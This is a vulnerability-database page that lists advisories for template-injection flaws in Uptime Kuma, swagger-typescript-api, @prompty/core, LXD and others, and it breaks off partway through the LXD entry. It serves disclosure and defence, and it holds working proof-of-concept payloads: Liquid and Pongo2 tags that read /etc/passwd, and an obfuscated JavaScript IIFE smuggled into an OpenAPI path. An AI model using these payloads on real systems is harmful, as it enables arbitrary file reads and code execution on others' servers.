CWE-1336
AllowedImproper Neutralization of Special Elements Used in a Template Engine
Abstraction: Base · Status: Incomplete
The product uses a template engine to insert or process externally-influenced input, but it does not neutralize or incorrectly neutralizes special elements or syntax that can be interpreted as template expressions or other code directives when processed by the engine.
340 vulnerabilities reference this CWE, most recent first.
GHSA-VFFH-C9PQ-4CRH
Vulnerability from github – Published: 2025-10-20 20:03 – Updated: 2025-10-20 20:03Summary
In some Notification types (e.g., Webhook, Telegram), the send() function allows user-controlled renderTemplate input. This leads to a Server-side Template Injection (SSTI) vulnerability that can be exploited to read arbitrary files from the server.
Details
The root cause is how Uptime Kuma renders user-controlled templates via renderTemplate(). The function instantiates a Liquid template engine and parses the template argument without sanitization:
async renderTemplate(template, msg, monitorJSON, heartbeatJSON) {
const engine = new Liquid();
const parsedTpl = engine.parse(template);
// ...
}
In some Notification flows, the send() implementation passes user-editable fields directly into renderTemplate():
// webhook.js
if (notification.webhookContentType === "form-data") {
const formData = new FormData();
formData.append("data", JSON.stringify(data));
config.headers = formData.getHeaders();
data = formData;
} else if (notification.webhookContentType === "custom") {
data = await this.renderTemplate(notification.webhookCustomBody, msg, monitorJSON, heartbeatJSON); //<- this line cause SSTI
}
Because notification can be edited by users and is rendered by the Liquid engine without proper sandboxing or a whitelist of allowed operations, an attacker can supply a crafted template that causes the server to read arbitrary files. In particular, Liquid’s template tags (e.g. {% render ... %}) can be abused to include server-side files if the engine is not restricted, resulting in Server-side Template Injection (SSTI) that leaks sensitive file contents.
PoC
- Open Uptime Kuma → Notifications → Add or Edit an existing Webhook notification.
- Set notification type to Webhook and set Request Body to Custom Body.
- Paste the following JSON into the custom request body:
{
"Title": {% render '/etc/passwd' %}
}
- Click test.
- Your webhook will receive the file content
Impact
This is a post-authentication Server-side Template Injection (SSTI) vulnerability that allows an authenticated user to perform arbitrary file read on the server.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "uptime-kuma"
},
"versions": [
"2.0.0-dev.0"
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-36"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-20T20:03:15Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nIn some Notification types (e.g., Webhook, Telegram), the `send()` function allows user-controlled renderTemplate input. This leads to a Server-side Template Injection (SSTI) vulnerability that can be exploited to read arbitrary files from the server.\n\n\n\n### Details\n\nThe root cause is how Uptime Kuma renders user-controlled templates via `renderTemplate()`. The function instantiates a Liquid template engine and parses the `template` argument without sanitization:\n\n```js\nasync renderTemplate(template, msg, monitorJSON, heartbeatJSON) {\n const engine = new Liquid();\n const parsedTpl = engine.parse(template);\n\n // ...\n}\n```\n\nIn some Notification flows, the `send()` implementation passes user-editable fields directly into `renderTemplate()`:\n```js\n// webhook.js\nif (notification.webhookContentType === \"form-data\") {\n const formData = new FormData();\n formData.append(\"data\", JSON.stringify(data));\n config.headers = formData.getHeaders();\n data = formData;\n} else if (notification.webhookContentType === \"custom\") {\n data = await this.renderTemplate(notification.webhookCustomBody, msg, monitorJSON, heartbeatJSON); //\u003c- this line cause SSTI\n}\n```\n\nBecause `notification` can be edited by users and is rendered by the Liquid engine without proper sandboxing or a whitelist of allowed operations, an attacker can supply a crafted template that causes the server to read arbitrary files. In particular, Liquid\u2019s template tags (e.g. `{% render ... %}`) can be abused to include server-side files if the engine is not restricted, resulting in Server-side Template Injection (SSTI) that leaks sensitive file contents.\n\n\n\n### PoC\n\n1. Open Uptime Kuma \u2192 **Notifications** \u2192 **Add** or **Edit** an existing Webhook notification.\n2. Set notification type to **Webhook** and set **Request Body** to **Custom Body**.\n3. Paste the following JSON into the custom request body:\n\n```json\n{\n \"Title\": {% render \u0027/etc/passwd\u0027 %}\n}\n```\n\n4. Click test.\n5. Your webhook will receive the file content\n\n\n\n### Impact\n\nThis is a post-authentication Server-side Template Injection (SSTI) vulnerability that allows an authenticated user to perform arbitrary file read on the server.",
"id": "GHSA-vffh-c9pq-4crh",
"modified": "2025-10-20T20:03:15Z",
"published": "2025-10-20T20:03:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/louislam/uptime-kuma/security/advisories/GHSA-vffh-c9pq-4crh"
},
{
"type": "PACKAGE",
"url": "https://github.com/louislam/uptime-kuma"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Uptime Kuma Server-side Template Injection (SSTI) in Notification Templates Allows Arbitrary File Read"
}
GHSA-VMMQ-P5R9-QM38
Vulnerability from github – Published: 2024-11-18 15:33 – Updated: 2026-04-01 18:32Improper Neutralization of Special Elements Used in a Template Engine vulnerability in Supsystic Popup by Supsystic allows Command Injection.This issue affects Popup by Supsystic: from n/a through 1.10.29.
{
"affected": [],
"aliases": [
"CVE-2024-52434"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-82",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-18T15:15:08Z",
"severity": "CRITICAL"
},
"details": "Improper Neutralization of Special Elements Used in a Template Engine vulnerability in Supsystic Popup by Supsystic allows Command Injection.This issue affects Popup by Supsystic: from n/a through 1.10.29.",
"id": "GHSA-vmmq-p5r9-qm38",
"modified": "2026-04-01T18:32:25Z",
"published": "2024-11-18T15:33:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52434"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/popup-by-supsystic/vulnerability/wordpress-popup-by-supsystic-plugin-1-10-29-remote-code-execution-rce-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/popup-by-supsystic/wordpress-popup-by-supsystic-plugin-1-10-29-remote-code-execution-rce-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VX6H-VG27-FXXC
Vulnerability from github – Published: 2023-04-11 18:30 – Updated: 2024-04-04 03:24A improper neutralization of special elements used in a template engine vulnerability in Fortinet FortiSOAR 7.3.0 through 7.3.1 allows an authenticated, remote attacker to execute arbitrary code via a crafted payload.
{
"affected": [],
"aliases": [
"CVE-2023-27995"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-04-11T17:15:00Z",
"severity": "HIGH"
},
"details": "A improper neutralization of special elements used in a template engine vulnerability in Fortinet FortiSOAR 7.3.0 through 7.3.1 allows an authenticated, remote attacker to execute arbitrary code via a crafted payload.",
"id": "GHSA-vx6h-vg27-fxxc",
"modified": "2024-04-04T03:24:42Z",
"published": "2023-04-11T18:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27995"
},
{
"type": "WEB",
"url": "https://fortiguard.com/psirt/FG-IR-23-051"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W284-33MX-6G9V
Vulnerability from github – Published: 2026-07-29 14:35 – Updated: 2026-07-29 14:35Summary
swagger-typescript-api interpolates OpenAPI path strings (the keys of the paths object, e.g. /users/{id}) directly into a JavaScript template literal inside the body of every generated API method, without escaping. A spec path containing ${ … } survives parseRouteName's {x} / :x rewriter verbatim and lands as live JS-template-literal interpolation inside the generated path: \...`` line. Any consumer who calls the affected generated method evaluates the attacker's expression with full importer privileges — file read/write, exfiltration, etc. The attacker controls the OpenAPI spec (remote URL, third-party / public spec, multi-tenant platform); the victim is whoever runs the generator and uses the resulting client.
Details
parseRouteName (src/schema-routes/schema-routes.ts:147-189) preprocesses spec paths by rewriting {x} and :x path-parameter patterns into ${x} JS template-literal interpolations:
const pathParamMatches = (routeName || "").match(
/({[\w[\\\]^`][-_.\w]*})|(:[\w[\\\]^`][-_.\w]*:?)/g,
);
// ...
return fixedRoute.replace(pathParam.$match, `\${${insertion}}`);
The regex only matches { followed by word characters (and a closing }), or : followed by word characters. It does not strip backticks, ${, or backslashes. A spec path containing ${ ATTACKER_EXPRESSION } survives unchanged.
The resulting fixedRoute is passed to the procedure-call template at templates/default/procedure-call.ejs:96 (and the corresponding templates/modular/procedure-call.ejs:96):
path: `<%~ path %>`,
The <%~ %> is Eta's raw, unescaped interpolation. The surrounding backticks make this a JavaScript template literal in the generated source. Anything resembling ${…} inside the path becomes a live JS expression evaluated when the method's path template is evaluated — i.e. at every call to the affected method.
Generated method body for a malicious spec path:
evilCall: (params: RequestParams = {}) =>
this.request<void, any>({
path: `/api/${(async () => {
// ATTACKER CODE EVALUATED HERE on every call to api.<...>.evilCall()
// — full Node.js capabilities: dynamic import('node:fs'), child_process,
// network egress, environment access, etc.
})()}/items`,
method: "GET",
...params,
}),
Biome (the codebase's formatter) pretty-prints this multi-line, confirming the output parses as valid TypeScript. esbuild bundles it cleanly.
Caveat for PoC construction: the path-param regex matches :x, so a literal : followed by a word character inside the spec path gets mangled into ${x}. This affects payloads that need to express node:fs. The workaround used in the PoC is Buffer.from('bm9kZTpmcw==','base64').toString() — base64 contains no :, decodes to 'node:fs' at runtime, and dodges the rewrite entirely.
PoC
Self-contained reproducer (run.sh runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → instantiate → call method with stubbed this.request so there is no real network egress → check canary) is added in comments. Tested on swagger-typescript-api@13.12.1 and Node v24.11.1.
Malicious OpenAPI path (literal string, JSON-encoded in the spec below):
/api/${(async()=>{ try { const m=Buffer.from('bm9kZTpmcw==','base64').toString(); const f=await import(m); const d=f.readFileSync('/etc/passwd','utf8'); f.writeFileSync('/tmp/sta_canary',d); } catch(e){} return 'x'; })()}/items
Minimal payload spec:
{
"openapi": "3.0.0",
"info": { "title": "PathPayloadAPI", "version": "1.0.0" },
"servers": [{ "url": "https://api.example.com" }],
"paths": {
"/api/${(async()=>{try{const m=Buffer.from('bm9kZTpmcw==','base64').toString();const f=await import(m);const d=f.readFileSync('/etc/passwd','utf8');f.writeFileSync('/tmp/sta_canary',d);}catch(e){}return 'x';})()}/items": {
"get": {
"operationId": "evilCall",
"responses": { "200": { "description": "OK" } }
}
}
}
}
Steps:
npm install swagger-typescript-api@13.12.1 esbuild
node -e "import('swagger-typescript-api').then(m => m.generateApi({
name: 'Api.ts', output: process.cwd() + '/out',
input: process.cwd() + '/payload-spec.json', httpClientType: 'fetch'
}))"
npx esbuild out/Api.ts --bundle --format=esm --platform=node \
--tsconfig-raw='{}' --outfile=out/Api.bundle.mjs
rm -f /tmp/sta_canary
node --input-type=module -e "
const mod = await import('./out/Api.bundle.mjs');
const api = new mod.Api();
// Stub the request implementation so there is no real network call —
// only the path template literal is evaluated, which is what fires the IIFE.
api.request = async () => ({ ok: true });
const group = api.api;
await group[Object.keys(group)[0]]();
await new Promise(r => setTimeout(r, 300));
"
ls -la /tmp/sta_canary && cat /tmp/sta_canary
Generated out/Api.ts (method body — payload, Biome-formatted):
evilCall: (params: RequestParams = {}) =>
this.request<void, any>({
path: `/api/${(async () => {
try {
const m = Buffer.from("bm9kZTpmcw==", "base64").toString();
const f = await import(m);
const d = f.readFileSync("/etc/passwd", "utf8");
f.writeFileSync("/tmp/sta_canary", d);
} catch (e) {}
return "x";
})()}/items`,
method: "GET",
...params,
}),
The IIFE is a real JavaScript expression inside the path template literal — Biome only reformats syntactically valid TS, so the multi-line indented output proves it parsed.
Result: after instantiating the generated Api and calling the affected method, /tmp/sta_canary contains the full /etc/passwd of the importing process (1470 bytes on a typical Linux host). Control spec (path "/api/users/{id}/items") generates path: \/api/users/${id}/items``, the IIFE never appears, and the canary is not written.
Impact
Type: Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).
Affected use cases: any developer or pipeline that runs swagger-typescript-api against an OpenAPI spec they did not author entirely:
sta generate --url https://attacker.example/openapi.json— a public, third-party, or attacker-hosted spec.- A CI/CD pipeline regenerating clients from a vendor / partner spec on each build.
- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.
- Any project where a contributor can modify the pinned spec via pull request.
Lifecycle: the injected expression fires per method call — every time a consumer invokes the affected generated method, the path template literal is evaluated and the IIFE runs. Lower severity than module-load sinks because the consumer must actually use the affected method, but this is the entire purpose of a generated API client; any non-trivial use of the client triggers it. Affects both httpClientType: "fetch" (default) and httpClientType: "axios", both default/ and modular/ template sets — any path-bearing operation in the spec is a candidate.
Privilege: the IIFE runs with the full privileges of the calling process — file read/write, network egress, environment access, child-process spawn, etc.
Suggested fix: sanitize the path string after parseRouteName finishes its {x} / :x rewrites but before it is interpolated into the template literal. The path should only contain literal URL characters plus the ${name} interpolations that parseRouteName deliberately introduces — any backtick, ${, or \ outside those deliberate interpolations should be escaped or rejected. Alternatively, change templates/default/procedure-call.ejs:96 (and templates/modular/procedure-call.ejs:96) to stop wrapping path in a backtick literal: emit a string concatenation instead, where path-param substitution is explicit and the rest of the path is treated as inert string data.
Submitted by: Hamza Haroon (thegr1ffyn)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 13.12.1"
},
"package": {
"ecosystem": "npm",
"name": "swagger-typescript-api"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "13.12.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54666"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-74",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-29T14:35:02Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n`swagger-typescript-api` interpolates OpenAPI path strings (the keys of the `paths` object, e.g. `/users/{id}`) directly into a JavaScript template literal inside the body of every generated API method, without escaping. A spec path containing `${ \u2026 }` survives `parseRouteName`\u0027s `{x}` / `:x` rewriter verbatim and lands as live JS-template-literal interpolation inside the generated `path: \\`...\\`` line. Any consumer who calls the affected generated method evaluates the attacker\u0027s expression with full importer privileges \u2014 file read/write, exfiltration, etc. The attacker controls the OpenAPI spec (remote URL, third-party / public spec, multi-tenant platform); the victim is whoever runs the generator and uses the resulting client.\n\n### Details\n\n`parseRouteName` (`src/schema-routes/schema-routes.ts:147-189`) preprocesses spec paths by rewriting `{x}` and `:x` path-parameter patterns into `${x}` JS template-literal interpolations:\n\n```ts\nconst pathParamMatches = (routeName || \"\").match(\n /({[\\w[\\\\\\]^`][-_.\\w]*})|(:[\\w[\\\\\\]^`][-_.\\w]*:?)/g,\n);\n// ...\nreturn fixedRoute.replace(pathParam.$match, `\\${${insertion}}`);\n```\n\nThe regex only matches `{` followed by word characters (and a closing `}`), or `:` followed by word characters. **It does not strip backticks, `${`, or backslashes.** A spec path containing `${ ATTACKER_EXPRESSION }` survives unchanged.\n\nThe resulting `fixedRoute` is passed to the procedure-call template at `templates/default/procedure-call.ejs:96` (and the corresponding `templates/modular/procedure-call.ejs:96`):\n\n```ejs\npath: `\u003c%~ path %\u003e`,\n```\n\nThe `\u003c%~ %\u003e` is Eta\u0027s raw, unescaped interpolation. The surrounding backticks make this a JavaScript template literal in the generated source. Anything resembling `${\u2026}` inside the path becomes a live JS expression evaluated when the method\u0027s `path` template is evaluated \u2014 i.e. at every call to the affected method.\n\nGenerated method body for a malicious spec path:\n\n```ts\nevilCall: (params: RequestParams = {}) =\u003e\n this.request\u003cvoid, any\u003e({\n path: `/api/${(async () =\u003e {\n // ATTACKER CODE EVALUATED HERE on every call to api.\u003c...\u003e.evilCall()\n // \u2014 full Node.js capabilities: dynamic import(\u0027node:fs\u0027), child_process,\n // network egress, environment access, etc.\n })()}/items`,\n method: \"GET\",\n ...params,\n }),\n```\n\nBiome (the codebase\u0027s formatter) pretty-prints this multi-line, confirming the output parses as valid TypeScript. esbuild bundles it cleanly.\n\n**Caveat for PoC construction:** the path-param regex matches `:x`, so a literal `:` followed by a word character inside the spec path gets mangled into `${x}`. This affects payloads that need to express `node:fs`. The workaround used in the PoC is `Buffer.from(\u0027bm9kZTpmcw==\u0027,\u0027base64\u0027).toString()` \u2014 base64 contains no `:`, decodes to `\u0027node:fs\u0027` at runtime, and dodges the rewrite entirely.\n\n### PoC\n\nSelf-contained reproducer (`run.sh` runs end-to-end: install pinned package \u2192 generate from control + payload \u2192 bundle with esbuild \u2192 instantiate \u2192 call method with stubbed `this.request` so there is no real network egress \u2192 check canary) is added in comments. Tested on `swagger-typescript-api@13.12.1` and Node `v24.11.1`.\n\n**Malicious OpenAPI path** (literal string, JSON-encoded in the spec below):\n\n```\n/api/${(async()=\u003e{ try { const m=Buffer.from(\u0027bm9kZTpmcw==\u0027,\u0027base64\u0027).toString(); const f=await import(m); const d=f.readFileSync(\u0027/etc/passwd\u0027,\u0027utf8\u0027); f.writeFileSync(\u0027/tmp/sta_canary\u0027,d); } catch(e){} return \u0027x\u0027; })()}/items\n```\n\n**Minimal payload spec:**\n\n```json\n{\n \"openapi\": \"3.0.0\",\n \"info\": { \"title\": \"PathPayloadAPI\", \"version\": \"1.0.0\" },\n \"servers\": [{ \"url\": \"https://api.example.com\" }],\n \"paths\": {\n \"/api/${(async()=\u003e{try{const m=Buffer.from(\u0027bm9kZTpmcw==\u0027,\u0027base64\u0027).toString();const f=await import(m);const d=f.readFileSync(\u0027/etc/passwd\u0027,\u0027utf8\u0027);f.writeFileSync(\u0027/tmp/sta_canary\u0027,d);}catch(e){}return \u0027x\u0027;})()}/items\": {\n \"get\": {\n \"operationId\": \"evilCall\",\n \"responses\": { \"200\": { \"description\": \"OK\" } }\n }\n }\n }\n}\n```\n\n**Steps:**\n\n```bash\nnpm install swagger-typescript-api@13.12.1 esbuild\nnode -e \"import(\u0027swagger-typescript-api\u0027).then(m =\u003e m.generateApi({\n name: \u0027Api.ts\u0027, output: process.cwd() + \u0027/out\u0027,\n input: process.cwd() + \u0027/payload-spec.json\u0027, httpClientType: \u0027fetch\u0027\n}))\"\nnpx esbuild out/Api.ts --bundle --format=esm --platform=node \\\n --tsconfig-raw=\u0027{}\u0027 --outfile=out/Api.bundle.mjs\nrm -f /tmp/sta_canary\nnode --input-type=module -e \"\n const mod = await import(\u0027./out/Api.bundle.mjs\u0027);\n const api = new mod.Api();\n // Stub the request implementation so there is no real network call \u2014\n // only the path template literal is evaluated, which is what fires the IIFE.\n api.request = async () =\u003e ({ ok: true });\n const group = api.api;\n await group[Object.keys(group)[0]]();\n await new Promise(r =\u003e setTimeout(r, 300));\n\"\nls -la /tmp/sta_canary \u0026\u0026 cat /tmp/sta_canary\n```\n\n**Generated `out/Api.ts` (method body \u2014 payload, Biome-formatted):**\n\n```ts\nevilCall: (params: RequestParams = {}) =\u003e\n this.request\u003cvoid, any\u003e({\n path: `/api/${(async () =\u003e {\n try {\n const m = Buffer.from(\"bm9kZTpmcw==\", \"base64\").toString();\n const f = await import(m);\n const d = f.readFileSync(\"/etc/passwd\", \"utf8\");\n f.writeFileSync(\"/tmp/sta_canary\", d);\n } catch (e) {}\n return \"x\";\n })()}/items`,\n method: \"GET\",\n ...params,\n }),\n```\n\nThe IIFE is a real JavaScript expression inside the `path` template literal \u2014 Biome only reformats syntactically valid TS, so the multi-line indented output proves it parsed.\n\n**Result:** after instantiating the generated `Api` and calling the affected method, `/tmp/sta_canary` contains the full `/etc/passwd` of the importing process (1470 bytes on a typical Linux host). Control spec (path `\"/api/users/{id}/items\"`) generates `path: \\`/api/users/${id}/items\\``, the IIFE never appears, and the canary is not written.\n\n### Impact\n\n**Type:** Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).\n\n**Affected use cases:** any developer or pipeline that runs `swagger-typescript-api` against an OpenAPI spec they did not author entirely:\n\n- `sta generate --url https://attacker.example/openapi.json` \u2014 a public, third-party, or attacker-hosted spec.\n- A CI/CD pipeline regenerating clients from a vendor / partner spec on each build.\n- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.\n- Any project where a contributor can modify the pinned spec via pull request.\n\n**Lifecycle:** the injected expression fires **per method call** \u2014 every time a consumer invokes the affected generated method, the path template literal is evaluated and the IIFE runs. Lower severity than module-load sinks because the consumer must actually use the affected method, but this is the entire purpose of a generated API client; any non-trivial use of the client triggers it. Affects both `httpClientType: \"fetch\"` (default) and `httpClientType: \"axios\"`, both `default/` and `modular/` template sets \u2014 any path-bearing operation in the spec is a candidate.\n\n**Privilege:** the IIFE runs with the full privileges of the calling process \u2014 file read/write, network egress, environment access, child-process spawn, etc.\n\n**Suggested fix:** sanitize the path string after `parseRouteName` finishes its `{x}` / `:x` rewrites but before it is interpolated into the template literal. The path should only contain literal URL characters plus the `${name}` interpolations that `parseRouteName` deliberately introduces \u2014 any backtick, `${`, or `\\` outside those deliberate interpolations should be escaped or rejected. Alternatively, change `templates/default/procedure-call.ejs:96` (and `templates/modular/procedure-call.ejs:96`) to stop wrapping `path` in a backtick literal: emit a string concatenation instead, where path-param substitution is explicit and the rest of the path is treated as inert string data.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)",
"id": "GHSA-w284-33mx-6g9v",
"modified": "2026-07-29T14:35:02Z",
"published": "2026-07-29T14:35:02Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-w284-33mx-6g9v"
},
{
"type": "WEB",
"url": "https://github.com/acacode/swagger-typescript-api/pull/1779"
},
{
"type": "WEB",
"url": "https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de"
},
{
"type": "PACKAGE",
"url": "https://github.com/acacode/swagger-typescript-api"
},
{
"type": "WEB",
"url": "https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "swagger-typescript-api vulnerable to code injection via unescaped OpenAPI path strings in generated method bodies"
}
GHSA-W28W-GP39-M4P6
Vulnerability from github – Published: 2026-07-24 16:23 – Updated: 2026-07-24 16:23Summary
The TypeScript Nunjucks renderer evaluated untrusted .prompty template bodies with unrestricted JavaScript member access. An attacker-controlled template could traverse constructor and prototype properties to execute JavaScript in the host Node.js process.
Affected packages
- npm
@prompty/coreversions<= 0.1.4 - npm
@prompty/coreversions<= 2.0.0-beta.4
Impact
Applications that render untrusted, community-supplied, cloned, or LLM-generated .prompty files with the TypeScript runtime could allow attacker-controlled code execution with the privileges of the Node.js host process.
Remediation
Upgrade to @prompty/core 2.0.0-beta.5 or later. The patched renderer sanitizes render inputs to own-data-only values, rejects constructor/prototype member traversal, and disallows template function calls. Ordinary interpolation, conditionals, loops, and own nested data properties remain supported.
Fix details
The fix is merged in PR #404 and includes regression coverage for default Nunjucks rendering, explicit renderer usage, unsafe member lookups, and attempted template function calls.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.1.4"
},
"package": {
"ecosystem": "npm",
"name": "@prompty/core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.0.0-beta.4"
},
"package": {
"ecosystem": "npm",
"name": "@prompty/core"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0-alpha.1"
},
{
"fixed": "2.0.0-beta.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T16:23:59Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Summary\nThe TypeScript Nunjucks renderer evaluated untrusted `.prompty` template bodies with unrestricted JavaScript member access. An attacker-controlled template could traverse constructor and prototype properties to execute JavaScript in the host Node.js process.\n\n## Affected packages\n- npm `@prompty/core` versions `\u003c= 0.1.4`\n- npm `@prompty/core` versions `\u003c= 2.0.0-beta.4`\n\n## Impact\nApplications that render untrusted, community-supplied, cloned, or LLM-generated `.prompty` files with the TypeScript runtime could allow attacker-controlled code execution with the privileges of the Node.js host process.\n\n## Remediation\nUpgrade to `@prompty/core` `2.0.0-beta.5` or later. The patched renderer sanitizes render inputs to own-data-only values, rejects constructor/prototype member traversal, and disallows template function calls. Ordinary interpolation, conditionals, loops, and own nested data properties remain supported.\n\n## Fix details\nThe fix is merged in PR #404 and includes regression coverage for default Nunjucks rendering, explicit renderer usage, unsafe member lookups, and attempted template function calls.",
"id": "GHSA-w28w-gp39-m4p6",
"modified": "2026-07-24T16:23:59Z",
"published": "2026-07-24T16:23:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/microsoft/prompty/security/advisories/GHSA-w28w-gp39-m4p6"
},
{
"type": "WEB",
"url": "https://github.com/microsoft/prompty/pull/404"
},
{
"type": "WEB",
"url": "https://github.com/microsoft/prompty/commit/047756f4c8caf91c5868eeb42520c938393277b0"
},
{
"type": "PACKAGE",
"url": "https://github.com/microsoft/prompty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Prompty: Server-Side Template Injection to Remote Code Execution in the @prompty/core Nunjucks Renderer"
}
GHSA-W2HG-2V4P-VMH6
Vulnerability from github – Published: 2025-10-02 21:21 – Updated: 2026-01-16 22:03Impact
In LXD's instance snapshot creation functionality, the Pongo2 template engine is used in the snapshots.pattern configuration for generating snapshot names. While code execution functionality has not been found in this template engine, it has file reading capabilities, creating a vulnerability that allows arbitrary file reading through template injection attacks.
Reproduction Steps
- Log in to LXD-UI with an account that has permissions to modify instance settings
- Set the following template injection payload in the instance snapshot pattern:
{% filter urlencode|slice:":100" %}{% include "/etc/passwd" %}{%endfilter %}
Note that the above template uses the Pongo2 template engine's include tag to read system files. It also uses urlencode and slice filters to bypass character count and type restrictions.
- Set scheduled snapshots to run every minute and wait for snapshot generation
- Wait about a minute and confirm that file contents can be obtained from the created snapshot name
Risk
The attack requires having configuration change permissions for LXD instances. The attack allows reading arbitrary files accessible with LXD process permissions. This could lead to leakage of the following information: - LXD host configuration files (/etc/passwd, /etc/shadow, etc.) - LXD database files (containing information about all projects and instances) - Configuration files and data of other instances - Sensitive information on the host system
Countermeasures
Pongo2 provides mechanisms for sandboxing templates.
Template sandboxing (directory patterns, banned tags/filters) ( https://github.com/flosch/pongo2/tree/master?tab=readme-ov-file#features )
This functionality allows banning specific tags and filters by generating a custom TemplateSet.
At minimum, the following tags are considered to pose a risk of file leakage on the LXD host when used. Therefore, banning these can provide countermeasures against file reading attacks. - include - ssi - extends - import
The deny-list approach is prone to vulnerability recurrence due to missed countermeasures or new feature additions. Therefore, as the safest approach, we recommend using an allow-list format to permit only necessary functions.
However, as far as our investigation shows, pongo2 does not have functionality to retrieve a list of registered tags or filters, nor does it provide means to implement an allow-list approach. Therefore, it is necessary to either forcibly obtain the registration list through reflection and ban anything not on the allow-list, or ban everything from the current implemented list since the library has not been updated for about two years.
In LXD's implementation, template injection attacks can be prevented by modifying the RenderTemplate function in shared/util.go to use a restricted TemplateSet as shown above.
Patches
| LXD Series | Status |
|---|---|
| 6 | Fixed in LXD 6.5 |
| 5.21 | Fixed in LXD 5.21.4 |
| 5.0 | Ignored - Not critical |
| 4.0 | Ignored - EOL and not critical |
References
Reported by GMO Flatt Security Inc.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/lxc/lxd"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "5.21.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/lxc/lxd"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "6.5.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/lxc/lxd"
},
"ranges": [
{
"events": [
{
"introduced": "0.0.0-20200331193331-03aab09f5b5c"
},
{
"fixed": "0.0.0-20250827065555-0494f5d47e41"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-54287"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": true,
"github_reviewed_at": "2025-10-02T21:21:33Z",
"nvd_published_at": "2025-10-02T10:15:38Z",
"severity": "HIGH"
},
"details": "### Impact\nIn LXD\u0027s instance snapshot creation functionality, the Pongo2 template engine is used in the `snapshots.pattern` configuration for generating snapshot names. While code execution functionality has not been found in this template engine, it has file reading capabilities, creating a vulnerability that allows arbitrary file reading through template injection attacks.\n\n### Reproduction Steps\n\n1. Log in to LXD-UI with an account that has permissions to modify instance settings\n2. Set the following template injection payload in the instance snapshot pattern:\n\n```\n{% filter urlencode|slice:\":100\" %}{% include \"/etc/passwd\" %}{%endfilter %}\n```\n\nNote that the above template uses the Pongo2 template engine\u0027s include tag to read system files. It also uses urlencode and slice filters to bypass character count and type restrictions.\n\n3. Set scheduled snapshots to run every minute and wait for snapshot generation\n4. Wait about a minute and confirm that file contents can be obtained from the created snapshot name\n\n### Risk\nThe attack requires having configuration change permissions for LXD instances.\nThe attack allows reading arbitrary files accessible with LXD process permissions. This could lead to leakage of the following information:\n-\u200b LXD host configuration files (/etc/passwd, /etc/shadow, etc.)\n-\u200b LXD database files (containing information about all projects and instances)\n-\u200b Configuration files and data of other instances\n-\u200b Sensitive information on the host system\n\n### 